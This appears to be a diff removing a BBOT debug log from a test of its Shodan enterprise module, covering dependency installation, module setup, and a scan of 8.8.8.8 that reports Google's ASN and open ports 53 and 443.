- "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 16:58:36,787 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 16:58:36,788 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 16:58:36,793 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:58:36,794 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 16:58:36,794 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:58:36,794 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 16:58:36,795 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:58:36,795 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 16:58:36,795 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 16:58:36,796 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 16:58:36,800 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/qozslmt674h3b00e6hyp -2026-03-01 16:58:37,588 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 16:58:37,589 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 16:58:37,589 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:58:37,589 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 16:58:37,591 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 16:58:37,708 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 16:58:37,709 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 16:58:37,709 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 16:58:37,710 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 16:58:37,710 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 16:58:37,711 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 16:58:37,711 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 16:58:37,712 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 16:58:37,712 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 16:58:37,713 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 16:58:37,713 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 16:58:37,714 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 16:58:37,714 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 16:58:37,714 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 16:58:37,714 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 16:58:37,714 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 16:58:37,714 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 16:58:37,715 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 16:58:37,715 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 16:58:37,715 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 16:58:37,715 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 16:58:37,716 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 16:58:37,716 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 16:58:37,716 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 16:58:37,716 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 16:58:37,716 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 16:58:37,716 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 16:58:37,717 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 16:58:37,717 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 16:58:37,717 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 16:58:37,718 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 16:58:37,718 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 16:58:37,718 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 16:58:37,718 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 16:58:37,718 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 16:58:37,718 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 16:58:37,719 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 16:58:37,719 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 16:58:37,719 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 16:58:37,719 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 16:58:37,719 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 16:58:37,720 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 16:58:37,720 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 16:58:37,720 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 16:58:37,721 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 16:58:37,857 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_w0joub0koz -2026-03-01 16:58:37,857 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 16:58:37,971 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 16:58:37,972 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 16:58:37,972 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 16:58:37,974 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-03-01 16:58:38,074 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check -2026-03-01 16:58:38,074 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-03-01 16:58:38,076 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target -2026-03-01 16:58:38,077 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:58:38,078 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:58:38,079 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:58:38,080 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-01 16:58:38,080 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:58:38,082 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:58:38,084 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:58:38,084 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:58:38,086 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:58:38,086 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:58:38,088 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:58:38,089 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-01 16:58:38,092 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:58:38,093 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-01 16:58:38,093 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:58:38,093 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:58:38,094 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-03-01 16:58:38,094 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-03-01 16:58:38,095 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-03-01 16:58:38,095 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-01 16:58:38,095 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:58:38,187 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:58:38,188 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-01 16:58:38,189 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:58:38,189 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-03-01 16:58:38,190 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-01 16:58:38,190 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:58:38,190 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:58:38,191 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:58:38,192 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:58:38,192 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,193 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:58:38,193 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:58:38,194 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:58:38,194 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:58:38,194 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:58:38,195 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,195 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:58:38,195 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,196 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:58:38,197 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,197 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:58:38,198 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:58:38,198 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-01 16:58:38,199 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,199 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:58:38,200 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,200 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,201 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:58:38,201 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,202 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:58:38,202 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:58:38,202 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,203 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,203 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,204 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:58:38,204 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,204 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,205 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:58:38,206 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:58:38,206 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,206 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,207 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,207 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:58:38,208 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:58:38,208 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,209 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:58:38,209 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:58:38,291 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-01 16:58:38,293 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:58:38,293 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:58:38,294 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:58:38,295 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:58:38,295 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:58:38,296 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:58:38,296 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:58:38,296 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-01 16:58:38,297 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-01 16:58:38,297 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-01 16:58:38,298 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-01 16:58:38,298 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-03-01 16:58:38,299 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-01 16:58:38,299 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-01 16:58:38,299 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-01 16:58:38,399 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-01 16:58:38,400 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-03-01 16:58:38,419 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-01 16:58:38,420 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-01 16:58:38,420 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-01 16:58:38,427 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-01 16:58:38,428 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-03-01 16:58:38,429 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-01 16:58:38,430 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-03-01 16:58:38,430 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-03-01 16:58:38,431 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-03-01 16:58:38,547 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_w0joub0koz completed in 0 seconds with status FINISHED -2026-03-01 16:58:38,547 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-01 16:58:38,548 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:58:38,549 [CRITICAL] bbot test_module_shodan_enterprise.py:56 Found 1 ASN events -2026-03-01 16:58:38,549 [HUGEINFO] bbot test_module_shodan_enterprise.py:62 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-03-01 16:58:38,550 [CRITICAL] bbot test_module_shodan_enterprise.py:99 Found 2 TCP PORT events: ['8.8.8.8:443', '8.8.8.8:53'] -2026-03-01 16:58:38,550 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:102 ✓ Open TCP port 53 detected -2026-03-01 16:58:38,550 [CRITICAL] bbot test_module_shodan_enterprise.py:107 Found 1 UDP PORT events: ['8.8.8.8:53'] -2026-03-01 16:58:38,550 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:110 ✓ Open UDP port 53 detected -2026-03-01 16:58:38,551 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-03-01 16:58:38,551 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-03-01 16:59:13,019 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 16:59:13,029 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 16:59:13,029 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 16:59:13,030 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 16:59:13,030 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 16:59:13,031 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 16:59:13,032 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 16:59:13,033 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 16:59:13,033 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 16:59:13,034 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 